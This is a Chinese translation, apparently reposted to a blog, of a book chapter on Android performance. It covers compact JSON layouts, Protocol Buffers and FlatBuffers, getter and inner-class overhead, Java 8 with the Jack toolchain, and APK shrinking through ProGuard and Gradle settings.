为了提高序列化/反序列化性能和传输时间,我们需要改进 JSON 文件设计;我们的目标是减少 JSON 文件的大小。这里的主要且明显的提示是避免在 JSON 结构中包含不必要的数据。因此,不要序列化客户端不使用的数据。

使用 JSON 进行数据序列化的典型方法是创建一个要传输的对象数组。然而,JSON 格式需要为每个属性指定一个名称,以便在反序列化过程中正确识别。这种方式增加了许多重复字符串的字符,导致文件大小产生额外开销。以下 JSON 文件示例显示了一组带有相关重复键字符的对象列表:

[
{
    "level": 23,
    "name": "Marshmallow",
    "version": "6.0"
}, {
    "level": 22,
    "name": "Lollipop",
    "version": "5.1"
}, {
    "level": 21,
    "name": "Lollipop",
    "version": "5.0"
}, {
    "level": 19,
    "name": "KitKat",
    "version": "4.4"
}
]

这个文件的内容可以通过定义属性数组而非对象数组来序列化到一个更小的文件中。《图 7》展示了这里要应用的结构变更概念:

JSON 改进

图 7:从对象数组到属性数组的结构变更,应用于 JSON 文件中

应用这种重塑方式,以下文件将是新的格式,包含第一个 JSON 文件中的相同内容:

{
  "level": [23, 22, 21, 19],
  "name": ["Marshmallow", "Lollipop", "Lollipop", "Kitkat"],
  "version": ["6.0", "5.1", "5.0", "4.4"]
}

第一个文件的实际大小约为 250 字节,而第二个文件为 140 字节。但是,单个文件中的对象越多,整个 JSON 文件将应用越多的节省。

JSON 的替代品

然而,XML 和 JSON 格式都过于冗余;它们在可读性方面显得累赘,服务器编码较慢,而且一旦客户端接收它们,解码速度也会比其他轻量级格式慢。通常,出于调试目的,开发者更偏好可读性更强而非性能的格式。

实际上,还有其他格式可以让客户端和服务器以更快的速度进行通信。这些都是谷歌推出的;让我们简要了解一下这些。

协议缓冲区

第一个开发的序列化方法被称为协议缓冲区。与 XML 类似,它提供了一种定义数据结构的方法,但它更快且更小。它使用.proto扩展名的文件来设置后来创建和传输的不可读二进制文件的语法。它类似于以下内容:

message Person {
    required string name = 1;
    required int32 id = 2;
    optional string email = 3;

    enum PhoneType {
        MOBILE = 0;
        HOME = 1;
        WORK = 2;
    }

    message PhoneNumber {
        required string number = 1;
        optional PhoneType type = 2 [default = HOME];
    }

    repeated PhoneNumber phone = 4;
}

每个消息都是一系列键/值对。定义之后,我们待传输的数据看起来就像一个二进制流。这是这种方法的主要优势:它比含有相同数据的 XML 文件小 10 倍,快 100 倍。

这个方法是平台无关的,可以在多个环境中使用。然而,并非每种开发语言都受到支持;目前发布的版本包括 Java、C++和 Python 编译器。

不幸的是,协议缓冲区实现需要大量的内存和代码才能使用。这对于移动设备来说并不合适,因为正如我们所知,需要尽可能节省内存以达到性能目标。因此,创建了一个特殊的协议缓冲区版本,以最小化代码和内存使用。

平铺缓冲区

平铺缓冲区是谷歌创建的一种高级序列化方法。平铺缓冲区是由无需解析的平铺二进制缓冲区构成的。这里的内存分配极低,同时在定义字段时提供高度灵活性。代码开销最小。此外,解析 JSON 文本的速度比其他解析器更快、更高效。

这个方法是开源的,并且每种支持的语言都有不同的实现和不同的功能,因为它们依赖于社区贡献。

平铺缓冲区不需要解析中间表示数据;因此,它们在提供数据方面比协议缓冲区要快。让我们快速了解一下它们在 Android 应用程序中的集成,以了解它们的优势以及集成时间是否值得。

首先要做的就是定义一个架构文件,用来界定数据结构,或者如果我们是从那种序列化方法迁移过来的,可以转换原始的 JSON。那么,让我们看一下以下要转换的 JSON 文件:

{
  "user": {
      "username": "username",
      "name": "Name",
      "height": 185,
      "enabled": true,
      "purchases": [
{
              "id": "purchaseId1",
              "name": "purchaseName1",
              "quantity": 2,
              "price": 120
          }, {
              "id": "purchaseId2",
              "name": "purchaseName2",
              "quantity": 1,
              "price": 10
          }
]
  }
}

架构声明文件应该包含文件中每个对象的表,指定每个属性的类型。以下是相应的架构文件内容:

namespace com.flatbuffer.example;

table User {
    username: string;
    name: string;
    height: int;
    enabled: bool;
    purchases: [Purchase];
}

table Purchase {
    id: string;
    name: string;
    quantity: int;
    price: int;
}

root_type User;

完成后,我们需要创建 Java 模型以及要在我们的应用程序中使用的类。为此,提供了平铺编译器,我们可以使用它来生成所有 Java 类文件,通过调用以下命令行:

flatc --java

有关正确使用提供资源的更多信息,请参考官方文档。为上一个示例的模型创建的User类的最终文件如下:

public final class User extends Table {
    public static User getRootAsUser(ByteBuffer _bb) {
        return getRootAsUser(_bb, new User());
    }

    public static User getRootAsUser(ByteBuffer _bb, User obj) {
        _bb.order(ByteOrder.LITTLE_ENDIAN);
        return (obj.__init(_bb.getInt(_bb.position()) + _bb.position(), _bb));
    }

    public User __init(int _i, ByteBuffer _bb) {
        bb_pos = _i;
        bb = _bb;
        return this;
    }

    public String username() {
        int o = __offset(4);
        return o != 0 ? __string(o + bb_pos) : null;
    }

    public ByteBuffer usernameAsByteBuffer() {
        return __vector_as_bytebuffer(4, 1);
    }

    public String name() {
        int o = __offset(6);
        return o != 0 ? __string(o + bb_pos) : null;
    }

    public ByteBuffer nameAsByteBuffer() {
        return __vector_as_bytebuffer(6, 1);
    }

    public int height() {
        int o = __offset(8);
        return o != 0 ? bb.getInt(o + bb_pos) : 0;
    }

    public boolean enabled() {
        int o = __offset(10);
        return o != 0 ? 0 != bb.get(o + bb_pos) : false;
    }

    public Purchase purchases(int j) {
        return purchases(new Purchase(), j);
    }

    public Purchase purchases(Purchase obj, int j) {
        int o = __offset(12);
        return o != 0 ? obj.__init(__indirect (__vector(o) + j * 4), bb) : null;
    }

    public int purchasesLength() {
        int o = __offset(12);
        return o != 0 ? __vector_len(o) : 0;
    }

    public static int createUser(FlatBufferBuilder builder,
                                 int usernameOffset,
                                 int nameOffset,
                                 int height,
                                 boolean enabled,
                                 int purchasesOffset) {
        builder.startObject(5);
        User.addPurchases(builder, purchasesOffset);
        User.addHeight(builder, height);
        User.addName(builder, nameOffset);
        User.addUsername(builder, usernameOffset);
        User.addEnabled(builder, enabled);
        return User.endUser(builder);
    }

    public static void startUser(FlatBufferBuilder builder) {
        builder.startObject(5);
    }

    public static void addUsername(FlatBufferBuilder builder, int usernameOffset) {
        builder.addOffset(0, usernameOffset, 0);
    }

    public static void addName(FlatBufferBuilder builder, int nameOffset) {
        builder.addOffset(1, nameOffset, 0);
    }

    public static void addHeight(FlatBufferBuilder builder, int height) {
        builder.addInt(2, height, 0);
    }

    public static void addEnabled(FlatBufferBuilder builder, boolean enabled) {
        builder.addBoolean(3, enabled, false);
    }

    public static void addPurchases(FlatBufferBuilder builder, int purchasesOffset) {
        builder.addOffset(4, purchasesOffset, 0);
    }

    public static int createPurchasesVector(FlatBufferBuilder builder, int[] data) {
        builder.startVector(4, data.length, 4);
        for (int i = data.length - 1; i >= 0; i--) builder.addOffset(data[i]);
        return builder.endVector();
    }

    public static void startPurchasesVector(FlatBufferBuilder builder, int numElems) {
        builder.startVector(4, numElems, 4);
    }

    public static int endUser(FlatBufferBuilder builder) {
        int o = builder.endObject();
        return o;
    }

    public static void finishUserBuffer(FlatBufferBuilder builder, int offset) {
        builder.finish(offset);
    }
}

只需调用User.getRootAsUser()方法就可以使用这个类;在源代码之后,它被转换成字节数组,然后是ByteBuffer对象,如下面的代码段所示:

private User loadFlatBuffer(byte[] bytes) {
    ByteBuffer bb = ByteBuffer.wrap(bytes);
    return User.getRootAsUser(bb);
}

对于 Android 实现,这个解决方案显著减少了传输大小,并且序列化和反序列化时间比 JSON 情况要低得多。这意味着平铺缓冲区效率更高,我们应该考虑用基于平铺缓冲区的策略来替换我们的 JSON 策略。

本地序列化

序列化在通信方面是值得的,因为其主要目的是提供一种在不同环境中传输结构化对象的轻量级方法。然而,序列化和反序列化过程需要执行的时间开销。因此,尽管它适合网络传输,但不应该在客户端本地使用,以节省序列化和反序列化操作所需的时间,例如存储数据。

一个典型的例子是将 JSON 文件存储在缓存内存中。每次访问其数据前都必须进行反序列化。此外,如果你需要更改文件内的内容,必须在将新内容序列化后,再保存到缓存内存中。这比使用带有结构化数据的本地数据库成本要高得多,即使这是在 Android 应用程序内部开发此类数据管理系统最快的方法。

提示

当你需要保存数据时,处理本地数据时避免序列化。选择 SQLite 数据库来保存数据,而不是序列化方法,因为数据库访问比序列化和反序列化操作要快得多。

代码改进

在接下来的几页中,我们想讨论一些与特定编码情况和常见模式相关的优化。这些技巧是实际日常开发工作中常见习惯可能导致性能故障的例子。

访问器与修改器(Getters and setters)

面向对象编程中使用的一个核心概念是封装;正如你所知,这意味着其他对象不应直接访问对象的字段。因此,你可以在 Java 中使用 private 修饰符来封装对象的字段,并创建访问器和修改器方法,让其他对象可以访问它们。这保证了类本身对其字段拥有完全控制权,其他人无法使用。然后,你可以自由地创建只读或只写字段,只需定义相关方法,避免定义另一个。

封装的好处是毋庸置疑的,但它们是有代价的。如果不存在 JIT,直接访问字段比使用访问器快三倍,如果存在 JIT,则快七倍。这意味着我们应该继续封装我们的字段,但在没有必要的情况下应避免调用访问器和修改器。例如,在类内部不要调用访问器和修改器,因为这更耗时,而且你不需要这样做,因为类可以直接访问自己的字段。举个例子;以下代码在实例化期间调用了一个内部方法:

public class ExampleObject {
    private int id;

    public ExampleObject(int id) {
        this.setId(id);
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getId() {
        return id;
    }
}

尽管这样做没有错,但通过移除内部对修改器的调用,可以在执行期间提高代码速度:

public class ExampleObject {
    private int id;

    public ExampleObject(int id) {
        this.id = id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getId() {
        return id;
    }
}

这只是一个例子,但这里的主要建议是,在任何情况下都应避免在内部调用访问器和修改器。

内部类

我们在第四章中讨论内存泄漏问题时已经谈过内部类,Memory。在 Android 中嵌套类是一种非常常见的做法,因为很多时候我们需要在内部类中持有对包装类的引用。然而,这种优势隐藏着代价。让我们通过一个例子来明确我们讨论的问题:

public class OuterClass {
    private int id;

    public OuterClass() {
    }

    private void doSomeStuff() {
        InnerClass innerObject = new InnerClass();
        innerObject.doSomeOtherStuff();
    }

    private class InnerClass {
        private InnerClass() {
        }

        private void doSomeOtherStuff() {
            OuterClass.this.doSomeStuff();
        }
    }
}

我们正在处理的两类将会被分离。这意味着编译器将在外部类中创建方法,让内部类访问被引用包装类的变量和方法。让我们来看一下前述类的字节码:

class OuterClass {
    private int id;

    private void doSomeStuff() {
        OuterClass$InnerClass innerObject = new OuterClass$InnerClass();
        innerObject.doSomeStuff();
    }

    int access$0() {
        return id;
    }
}

OuterClass类为每个变量创建了一个方法,让InnerClass类在包保护级别环境中访问它:

class InnerClass {
OuterClass this$0;

    void doSomeOtherStuff() {
        InnerClass.access$100(this$0);
    }

 static void access$100(OuterClass outerClass) {
        outerClass.doSomeStuff(); 
    }

    static int access$0(OuterClass outerClass) {
        return outerClass.id;
    }
}

创建的静态方法是让InnerClass访问OuterClass的相关方法。如前所述,这会导致访问变慢,从而执行更慢的代码。如果声明包保护的变量和方法,可以避免这种情况,允许InnerClass在不生成字节码中的静态方法的情况下访问它们。这将允许同一包中的任何其他类访问,但也可能加快代码速度。所以,我们需要知道是否可以这样做。如果可以,OuterClass应该变成以下形式:

public class OuterClass {
    int id;

    void doSomeStuff() {
        InnerClass innerObject = new InnerClass();
        innerObject.doSomeOtherStuff();
    }

    private class InnerClass {

        private void doSomeOtherStuff() {
            OuterClass.this.doSomeStuff();
        }
    }
}

Android N 中的 Java 8

新的 Android N SDK 在发布时提供了对 Java 8 引入的新特性的支持。在接下来的页面中,我们将通过它们了解如何在开发应用程序时提供帮助,并了解新的工具链以改善构建 APK 文件时的时序。

设置

为了使用新的 Java 8 特性,我们需要面向新的 Android N,并使用支持 Android N 的新 Android Studio 2.1,否则,这些特性将不可用。在撰写本书时,新的 Android Studio 2.1 仍处于预览版本。然而,我们可以使用它来更好地了解在项目中使用 Java 8 及其新特性的步骤。这是因为新的 Jack 工具链,在 Android MarshMallow(API 级别 23)中引入,我们将在接下来的页面中详细讨论,以及新的 Gradle 插件,是编译 Java 8 并使用我们将在下一节中介绍的特性唯一方式。

目前,我们需要按照以下方式更改build.gradle文件:

android {
    ...
    defaultConfig {
        ...
        jackOptions {
            enabled true
        }
    }
    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }
}

这样,我们为项目启用了 Jack 工具链和 Java 8 兼容性。

特性

如果我们的项目面向 Android N,可以在项目中使用 Java 8 的主要新特性如下:

  • 接口内的默认和静态方法

  • Lambda 表达式

  • 重复注解

  • 改进的反射 API

让我们在接下来的页面中了解它们。

默认接口方法

假设你正在为其他项目开发一个库。你想要编写一个接口,用于定义实现该接口的所有类的行为。例如,让我们看看以下接口内部的内容:

public interface OnNewsSelected {
    void onNewsClick(News news);
}

以下是Activity对接口的实现:

public class MainActivity extends Activity implements OnNewsSelected
{

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    public void onNewsClick(News news) {
        // code to handle the click on a news
    }
}

如果现在我们想要在接口中添加一个特性来改进它,我们需要改变所有实现该接口的类。比方说,我们想要处理新闻的长按以及正常点击。接口将变成如下形式:

public interface OnNewsSelected {
    void onNewsClick(News news);

    void onNewsLongClick(News news);
}

然后,Android Studio 会在MainActivity类以及任何实现OnNewsSelected接口的其他类中通知我们编译错误。神奇的地方来了:使用 Java 8 及其新特性,我们可以在接口本身内部直接定义新方法的默认实现。以下代码段展示了如何为我们的接口完成这一操作:

public interface OnNewsSelected {
    void onNewsClick(News news);

    default void onNewsLongClick(Context context, News news) {
        Intent intent = new Intent(context, NewsDetailActivity.class);
        intent.putExtra(NEWS_KEY, news);
        context.startActivity(intent);
    }
}

使用这个特性,无需在每个实现接口的类中实现新方法,只有在需要与接口内部定义的默认实现不同的实现时才需要。

静态接口方法

静态方法与默认方法相似,但它们不能被子类覆盖。可以通过使用类的静态引用来调用它们,也可以通过对象调用来调用。那么,我们的OnNewsSelected接口示例将变成如下形式:

public interface OnNewsSelected {
    void onNewsClick(News news);

    static void onNewsLongClick(Context context, News news) {
        Intent intent = new Intent(context, NewsDetailActivity.class);
        intent.putExtra(NEWS_KEY, news);
        context.startActivity(intent);
    }
}

这样,我们只定义了长按新闻的一种可能行为,没有任何子类能够定义它自己的方法实现。

Lambda 表达式

当我们开发只定义一个方法的接口时,我们创建了一个所谓的函数式接口。在使用这些函数式接口时创建匿名内部类,代码的可读性不是很清晰。然后,从 Java 8 开始,我们可以使用 Lambda 表达式将简单代码作为参数传递,而不是匿名内部类。

例如,让我们创建以下Adder函数式接口:

public interface Adder {
    int add(int a, int b);
}

Lambda 表达式由以下部分组成:

  • 由逗号分隔的参数列表:(int a, int b)

  • 箭头符号:->

  • 带有声明块的代码体:a + b

然后,当我们需要我们定义的功能接口的实现时,我们可以使用以下代码:

Adder adder = (int a, int b) -> a + b;

然后,我们可以使用对象adder作为Adder接口的实现。我们也可以用匿名类来做同样的事情:

setAdder((a, b) -> a + b);

之前的代码片段将替换以下代码,明显提高了可读性:

setAdder(new Adder() {

    @Override
    public int add(int a, int b) {
        return a + b;
    }
});

重复注解

使用 Java 8 编译时,我们可以设置一个特定的注解特性,允许我们在类或变量上多次添加相同的注解。这是要在注解声明上设置的 @Repeatable 注解。让我们看以下示例,我们想为单一设备定义多个制造商。然后,在定义顶部添加 @Repeatable 注解,如下面的代码片段所示:

@Retention( RetentionPolicy.RUNTIME )
public @interface Devices {
    Manufacturer[] value() default{};
}

@Repeatable( value = Device.class )
public @interface Manufacturer {
    String value();
}

然后,我们可以使用以下方法为同一设备设置多个制造商:

@Manufacturer("Samsung")
@Manufacturer("LG")
@Manufacturer("HTC")
@Manufacturer("Motorola")
public interface Device {

}

Jack 工具链

工具链是一系列特定的步骤,用于编译我们的代码并创建包含 .dex 字节码的 APK 文件作为输出。《图 8》展示了旧的 Javac 工具链与新的 Jack 工具链之间的主要区别:

Jack 工具链

图 8:Javac 与 Jack 工具链之间的区别

Jack 工具链在构建过程中带来了新的改进:

  • 更快的编译时间

  • 代码和资源的缩减

  • 代码混淆

  • 重新打包

  • 多 DEX 编译

为了使用新的工具链,我们无需更改代码或配置中的任何内容,只需处理 设置 部分中提到的 build.gradle 文件的配置。

在撰写本书时,新的 Jack 工具链与 Android Studio 2.0 的新 Instant Run 功能不兼容。这意味着在使用 Jack 工具链时,Instant Run 将被禁用。

APK 优化

当一切准备就绪,代码开发并测试完成,用户正等待我们应用程序的更新时,我们使用它来构建一个 APK 文件,通过 Google Play 商店或其他途径进行分发。然而,由于多种因素,生成的 APK 文件体积不断增大:新功能的实现、需要支持的新不同配置、新的 Android 版本、应用程序中使用的更多库等等。这样,我们迫使用户使用更多带宽来更新它,以及更多存储空间来保存它。此外,通过商店上传和分发的 APK 文件大小是有限制的。那么,我们确信我们做得好吗?我们可以做些什么来减小文件大小?在接下来的几页中,让我们尝试从不同的角度来回答这些问题。

移除未使用的代码

高级语言考虑代码的可重用性以缩短开发时间和减少调试。这也有助于最小化 APK 文件的大小,同时保持代码的清洁和更好的组织。尽可能保持代码清洁应成为日常活动。然而,即使我们每天都在这样做,我们仍然可以通过在第七章中讨论的安全工具来提高最终构建中代码的清洁度。我们讨论的是 ProGuard。它不仅混淆代码以提高安全级别,还可以在启用时搜索并移除应用程序中未使用的代码:

buildTypes {
    debug {
        debuggable true
    }
    release {
        minifyEnabled true 
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
}

移除未使用的资源

我们已经讨论过图像及其大小对通信的影响,但这里同样的考虑也可以用来减小 APK 文件的大小。因此,检查我们的图像是否可以通过在线工具更改压缩率和/或分辨率来减小大小,如前一部分所述,这可能是一个好主意。

作为一条更通用的规则,我们应该始终检查项目中是否有未使用的资源并删除它们,无论它们是图片还是其他类型的资源。这对于保持项目清洁也很有帮助。在此操作中,Lint 非常有用,它可以搜索项目中的任何未使用资源。

如果这些操作不足以从最终 APK 文件中移除项目的所有未使用资源,Gradle 会在最终构建之前分析项目的所有资源来帮助我们。我们只需在build.gradle文件中启用它,如下面的示例所示:

buildTypes {
    debug {
        debuggable true
    }
    release {
        minifyEnabled true
        shrinkResources true
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
}

记得启用代码压缩。否则,资源缩减功能将无法工作。这对于我们使用外部库但并非所有资源都被使用的情况非常有用。例如,如果我们向项目中添加了 Google Play 服务库,但我们没有使用 Google+登录或 Google Cast API,那么 Gradle 将移除结果文件中相关的未使用资源。

对于应用程序支持的不同配置,我们也应该考虑同样的场景;例如,如果我们的应用程序只支持英语和法语,但链接的库支持的语言比我们的应用程序多,如果我们不告诉 Gradle 我们想要哪些配置,那么所有其他配置仍然会在最终构建中。为此,我们可以在build.gradle文件中的构建配置中添加resConfig属性,如下面的代码所示:

defaultConfig {
    applicationId "applicationId"
    minSdkVersion 18
    targetSdkVersion 23
    versionCode 1
    versionName "1.0"
    resConfigs "en", "fr"
}

resConfig属性接受我们希望支持的每一种配置类型,从应用程序和链接的库中过滤掉所有其他的配置。因此,这可以用于所有 Android 提供的配置,如密度、方向、语言、Android 版本等。

总结

我们从不同的角度讨论了图像管理的重要性,因为这对于处理它们的每个应用程序都是至关重要的:

  • 加载:图片是内存中最大的负担。很多时候,我们直接使用它们,而没有适当地处理以减轻对整个系统性能的压力。因此,在像 Android 设备这样的碎片化市场中,缩放操作总是必需的。因此,我们讨论了如何在使用 Android API 进行缩放时提高性能的正确方法。

  • 处理:图像操作成本高昂,需要在一个工作线程中执行,以释放主线程不必要的计算。我们从响应性的角度研究了如何安全地处理图像。

  • 缓存:节省外部通信的最佳方式是保存数据以供未来重用。这就是为什么我们改进了缓存图片的方法和算法,最大限度地重用它们,引入了 LRU 缓存架构,用于堆内存和磁盘缓存内存级别,以提高持久性并避免应用程序使用过程中出现OutOfMemoryErrors

  • 显示:我们介绍了待显示图片的像素格式配置,以加快应用程序的响应速度并改善压缩。

  • 内存管理:当许多图片即将被处理时,如在ListView或其他类似的带有Adapter类的ViewGroup中,可能会发生内存波动,导致随着时间的推移出现过多的垃圾回收。为此,我们讨论了如何重用多次图片处理中的内存分配方法,以减少垃圾收集器的干预。

除了代码,我们还讨论了对于越来越大的高密度屏幕来说,哪些压缩和分辨率最适合显示图片。

在继续网络数据交换的讨论中,我们考虑并分析了文本通过网络传输的方式,为类似 JSON 的结构化文件定义了最佳实践,并介绍了多种序列化技术,如谷歌提供的协议缓冲区和扁平缓冲区,以减少本地序列化/反序列化操作的开销,并加快数据传输速度。

然后,我们找到了一些在处理 Java 豆和内部类时开发者应该养成的习惯;即使我们遵循了使用通用语言的指导方针,也可能会出现性能下降。

最后,在本章的结尾,我们讨论了减少 APK 文件大小的技巧,以便通过商店进行分发。这对于遵守商店限制并保持项目清洁以便未来实现新的功能来说非常重要。

posted @ 2024-05-23 11:07  绝不原创的飞龙  阅读(22)  评论(0编辑  收藏  举报